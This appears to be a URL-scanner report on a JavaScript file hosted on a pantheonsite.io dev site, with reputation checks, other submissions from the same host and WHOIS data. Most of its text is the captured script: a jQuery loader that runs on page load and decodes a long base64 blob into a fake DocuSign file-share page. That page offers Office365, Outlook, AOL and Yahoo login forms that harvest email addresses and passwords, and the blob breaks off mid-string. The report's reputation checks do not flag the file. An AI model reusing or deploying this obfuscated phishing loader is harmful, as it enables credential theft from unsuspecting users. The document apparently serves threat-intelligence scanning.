https://dev-app-services.pantheonsite.io/app/basic.js

Last Checked: Apr 01, 2024, 13:27 EDT

IP Address: 23.185.0.4
ASN #: AS54113 FASTLY, US
Location: Unknown, Unknown, Unknown
URL Reputation:
  • Unknown This URL is not identified as malicious in the PhishTank Database.
  • Unknown PhishCheck thinks this URL is likely not a phish.
  • Unknown OpenPhish: URL not in feed.

Other submissions on 23.185.0.4:

  • https://dev-tu-cuenta.pantheonsite.io/

  • https://www.just-drinks.com/news/nestle-sugar-marketing-sugary-products-to-children/

  • http://www.sportcal.com/

  • http://live-kgi-verdict-network.pantheonsite.io/

  • https://live-kgi-verdict-network.pantheonsite.io/wp-content/plugins/sgpolls/assets/inIframe.js

  • http://23.185.0.4/

  • https://dev-outlookverifynewarg.pantheonsite.io/

  • http://seismic.com/

  • https://artgallery.yale.edu/overall-search/howstars77[%E2%9E%A1%EF%B8%8Fmmslot303.net%E2%AC%85%EF%B8%8F]%20%20stars77%20Bocoran%20Maxwin%20Situs%20Gacor%20Infomasi%20Kumpulan%20Situs%20Gacor%20Maxwin%20aman%20dan%20terpercaya.%20Situs%20slot%20Anti%20Rungkad.Ce?84EC=KjdG

  • https://circuitcourt.macombgov.org/

Other submissions on pantheonsite.io:

  • https://dev-sitio-seguro-enlace6.pantheonsite.io/

  • https://dev-pacificardcod83.pantheonsite.io/

  • http://dev-pacificardroulletec.pantheonsite.io/

  • https://dev-ebrourestablecer.pantheonsite.io/

  • https://dev-inicioseguridad.pantheonsite.io/

  • https://dev-inicioseguridad.pantheonsite.io/

  • https://dev-inicioseguridad.pantheonsite.io/principal.html

  • https://dev-inicioseguridad.pantheonsite.io/principal.html

  • https://dev-ahorroslbloqueos7.pantheonsite.io/

  • https://dev-inicioseguridad.pantheonsite.io/

Previous checks:

                               Domain Name: pantheonsite.io
Registry Domain ID: 292aa6d008064201bf1c414ff974b7af-DONUTS
Registrar WHOIS Server: whois.gandi.net
Registrar URL: http://www.gandi.net
Updated Date: 2023-12-28T22:19:43Z
Creation Date: 2016-01-28T23:01:14Z
Registrar Registration Expiration Date: 2025-01-29T00:01:14Z
Registrar: GANDI SAS
Registrar IANA ID: 81
Registrar Abuse Contact Email: abuse@support.gandi.net
Registrar Abuse Contact Phone: +33.170377661
Reseller: 
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: 
Domain Status: 
Domain Status: 
Domain Status: 
Registry Registrant ID: REDACTED FOR PRIVACY
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: Pantheon Systems
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: California
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: US
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: 692e575b35973a8fae1210c9bc6a1974-1394416@contact.gandi.net
Registry Admin ID: REDACTED FOR PRIVACY
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: 692e575b35973a8fae1210c9bc6a1974-1394416@contact.gandi.net
Registry Tech ID: REDACTED FOR PRIVACY
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: 692e575b35973a8fae1210c9bc6a1974-1394416@contact.gandi.net
Name Server: NS-1504.AWSDNS-60.ORG
Name Server: NS-506.AWSDNS-63.COM
Name Server: NS-852.AWSDNS-42.NET
Name Server: NS-1767.AWSDNS-28.CO.UK
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
Name Server: 
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2024-04-01T17:27:34Z <<<

For more information on Whois status codes, please visit
https://www.icann.org/epp

Reseller Email: 
Reseller URL: 

Personal data access and use are governed by French law, any use for the purpose of unsolicited mass commercial advertising as well as any mass or automated inquiries (for any intent other than the registration or modification of a domain name) are strictly forbidden. Copy of whole or part of our database without Gandi's endorsement is strictly forbidden.
A dispute over the ownership of a domain name may be subject to the alternate procedure established by the Registry in question or brought before the courts.
For additional information, please contact us via the following form:
 https://www.gandi.net/support/contacter/mail/

                             
  • GET
    0 Timed out waiting for a response.

    https://dev-app-services.pantheonsite.io/wp-includes/images/w-logo-blue-white-bg.png

  • https://dev-app-services.pantheonsite.io/favicon.ico https://dev-app-services.pantheonsite.io/wp-includes/images/w-logo-blue-white-bg.png
<html><head><link rel="stylesheet" href="resource://content-accessible/plaintext.css"></head><body><pre> $(document).ready(function() {
		saveFile();
});

function saveFile (name, type, data) {
	if (data != null &amp;&amp; navigator.msSaveBlob)
		return navigator.msSaveBlob(new Blob([data], { type: type }), name);
	let a = $("&lt;a style='display: none;'/&gt;");    
	    let encodedStringAtoB = 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvY3VTaWduIFNoYXJlIEZpbGU8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9jc3MvYXBwLmNzcyI+Cgk8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vd3d3LmRvY3VzaWduLmNvbS9zaXRlcy9hbGwvdGhlbWVzL2N1c3RvbS9kb2N1c2lnbi9mYXZpY29ucy9mYXZpY29uLmljbyI+Cgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hamF4LmFzcG5ldGNkbi5jb20vYWpheC9qUXVlcnkvanF1ZXJ5LTMuMy4xLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9qcXVlcnkubWFzay8xLjE0LjEwL2pxdWVyeS5tYXNrLmpzIj48L3NjcmlwdD4gCiAgICAKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lcl9fYm94Ij4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW5fX2NvbnRhaW5lciI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlcl9fY29uIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3VjZG4tYS5ha2FtYWloZC5uZXQvb2xpdmUvaW1hZ2VzLzIuNDcuMC9oZWFkZXItbG9nb3MvZG9jdXNpZ24uc3ZnIiBhbHQ9ImltZyI+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2JvZHkiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJveF9faW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vc2Vla2xvZ28uY29tL2ltYWdlcy9EL2RvY3VzaWduLWxvZ28tMkM0RjVGQUU5NS1zZWVrbG9nby5jb20ucG5nIiBhbHQ9ImJveGltZyI+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndlbGNvbWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aDE+V2VsY29tZSB0byBEb2N1U2lnbjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJwLTEiPllvdXIgQ29udGFjdCBoYXMgc2hhcmVkIGEgZmlsZSB3aXRoIHlvdS48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJwLTIiPlNhdmUgeW91ciBmaWxlcyB0byBBZG9iZSBQREYgYW5kIGdldCB0aGVtIGZyb20gYW55IGRldmljZSwgYW55d2hlcmUgPGJyLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlbGVjdCBhbnkgb2YgdGhlIG9wdGlvbnMgYmVsb3cgdG8gdmlldyBhbmQgZG93bmxvYWQgdGhlIGZpbGU8L3A+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm94X19kYXRhICI+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy9vZmZpY2UzNjUxLnBuZyIgYWx0PSJib3gtZGF0YSIgd2lkdGg9IjM1cHgiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dF9fZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+TG9naW4gd2l0aCA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+T2ZmaWNlMzY1PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy9sb29rLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzNXB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPkxvZ2luIHdpdGggPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk91dGxvb2s8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm94X19kYXRhLWluZm8gYm94LTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvb3RoZXIxLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzNXB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPkxvZ2luIHdpdGggPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk90aGVyPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2ID4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvYW9sLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSI1MHB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHRfX2RhdGEgZGF0YS10ZXh0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5Mb2dpbiB3aXRoIDwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5BT0w8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3hfX2RhdGEtaW5mbyBib3gtMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkYXQtaW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMveWFoLnBuZyIgYWx0PSJib3gtZGF0YSIgIHdpZHRoPSIzMHB4IiA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0X19kYXRhIGRhdGEtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+TG9naW4gd2l0aCA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+WWFob288L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3dlcmVkX2J5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPk9mZmljZTM2NSwgT3V0bG9vaywgU2hhcmVQb2ludCwgT25lRHJpdmUsIFNreXBlLCBPbmVOb3RlLCBQb3dlclBvaW50LCBXb3JkLCBFeGNlbCBhcmUgYWxsIHRyYWRlbWFya3Mgb2YgTWljcm9zb2Z0LiBBbGwgcmlnaHRzIHJlc2VydmVkIDxici8+IMKpIE1pY3Jvc29mdCAyMDIzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgCiAgICAgICAgPC9kaXY+CgoKCgoKCgogICAgICAKICAgIDwvZGl2PgoKICAgIAogICAgICA8ZGl2IGNsYXNzPSJ2aWRlb19ib3giPgogICAgICAgICAgPHZpZGVvIG11dGVkIGF1dG9wbGF5IGxvb3A+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSJodHRwczovL2Nkbi5nbGl0Y2guZ2xvYmFsLzhkNTEwOWE2LTE4NzMtNGY5NS05MjUzLWJkODM4YjM2NjljNy92aWRlby5tcDQiIHR5cGU9InZpZGVvL21wNCI+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSJtb3ZpZS5vZ2ciIHR5cGU9InZpZGVvL29nZyI+CiAgICAgICAgICAgIFlvdXIgYnJvd3NlciBkb2VzIG5vdCBzdXBwb3J0IHRoZSB2aWRlbyB0YWcuCiAgICAgICAgPC92aWRlbz4KICAgICAgPC9kaXY+CgoKICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CiAgICAgICAgCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvb2ZmaS5wbmciIGNsYXNzPSJpbWdfX2RhdGEiIGFsdD0iaW1nLWZvcm0iIHdpZHRoPSI4MHB4Ij4KCiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0ibG9naW5fX3RleHQiPgogICAgICAgICAgICAgICAgPGgzPkxvZ2luIHdpdGggT2ZmaWNlIDM2NTwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIEFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGVtYWlsIiBjbGFzcz0iZW1haWwtb3RoZXIiIG5hbWU9ImVtYWlsIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5XZSdsbCBuZXZlciBzaGFyZSB5b3VyIGVtYWlsIHdpdGggYW55b25lIGVsc2U8L2xhYmVsPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5QYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIiBjbGFzcz0icGFzcy1vdGhlciIgbmFtZT0icGFzcyI+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgIAogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3ggb3RoZXItYnRucyI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIGJ0bi1vdGhlciI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgPGJ1dHRvbiAgY2xhc3M9ImJ0bi1Mb2dpbiBidG4tb3RoZXIiPkxvZ2luPC9idXR0b24+CiAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKCgogICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CgogICAgICAgICAKICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtIj4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjbG9zZV9fZm9ybSI+CiAgICAgICAgICAgICAgICA8c3BhbiAgY2xhc3M9ImNsb3NlX19idG4iPiZ0aW1lczs8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbWdfZm9ybSI+CiAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9pLmltZ3VyLmNvbS81eVpqMWtsLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBPdXRsb29rPC9oMz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9Im90aGVyLWZvcm0tbWFpbCI+CiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3Itb3RoZXIiPgogICAgICAgIDxzcGFuIGNsYXNzPSJlcnJvci1vdGhlci1tc2ciPjwvc3Bhbj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+RW1haWwgQWRkcmVzczwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgZW1haWwiIGNsYXNzPSJlbWFpbC1vdGhlciIgbmFtZT0iZW1haWwiPgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPldlJ2xsIG5ldmVyIHNoYXJlIHlvdXIgZW1haWwgd2l0aCBhbnlvbmUgZWxzZTwvbGFiZWw+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlBhc3N3b3JkPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iRW50ZXIgcGFzc3dvcmQiIGNsYXNzPSJwYXNzLW90aGVyIiBuYW1lPSJwYXNzIj4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCBvdGhlci1idG5zIj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UgYnRuLW90aGVyIj5DbG9zZTwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uICBjbGFzcz0iYnRuLUxvZ2luIGJ0bi1vdGhlciI+TG9naW48L2J1dHRvbj4KICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+IAoKCiAgICA8ZGl2IGNsYXNzPSJvdGhlcl9fZm9ybS1tYWluIGhpZGUiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0iPgogICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvbWFpbG8ucG5nIiBjbGFzcz0iaW1nX19kYXRhIiBhbHQ9ImltZy1mb3JtIiB3aWR0aD0iODBweCI+CgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luX190ZXh0Ij4KICAgICAgICAgICAgICAgIDxoMz5Mb2dpbiB3aXRoIE90aGVyIE1haWw8L2gzPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0ib3RoZXItZm9ybS1tYWlsIj4KICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBBZGRyZXNzPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBlbWFpbCIgY2xhc3M9ImVtYWlsLW90aGVyIiBuYW1lPSJlbWFpbCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+V2UnbGwgbmV2ZXIgc2hhcmUgeW91ciBlbWFpbCB3aXRoIGFueW9uZSBlbHNlPC9sYWJlbD4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJFbnRlciBwYXNzd29yZCIgY2xhc3M9InBhc3Mtb3RoZXIiIG5hbWU9InBhc3MiPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94IG90aGVyLWJ0bnMiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSBidG4tb3RoZXIiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gIGNsYXNzPSJidG4tTG9naW4gYnRuLW90aGVyIj5Mb2dpbjwvYnV0dG9uPgogICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCgoKICAgICAgIDxkaXYgY2xhc3M9Im90aGVyX19mb3JtLW1haW4gaGlkZSI+CgogICAgICAgIAogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0iPgoKICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuICBjbGFzcz0iY2xvc2VfX2J0biI+JnRpbWVzOzwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZ19mb3JtIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2RvY3UteTV1LnBhZ2VzLmRldi9pbWFnZXMvYW9sLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBBT0w8L2gzPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0ib3RoZXItZm9ybS1tYWlsIj4KICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5FbWFpbCBBZGRyZXNzPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBlbWFpbCIgY2xhc3M9ImVtYWlsLW90aGVyIiBuYW1lPSJlbWFpbCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+V2UnbGwgbmV2ZXIgc2hhcmUgeW91ciBlbWFpbCB3aXRoIGFueW9uZSBlbHNlPC9sYWJlbD4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJFbnRlciBwYXNzd29yZCIgY2xhc3M9InBhc3Mtb3RoZXIiIG5hbWU9InBhc3MiPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94IG90aGVyLWJ0bnMiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSBidG4tb3RoZXIiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0bi1Mb2dpbiBidG4tb3RoZXIiPkxvZ2luPC9idXR0b24+CiAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPgogICAgICA8L2R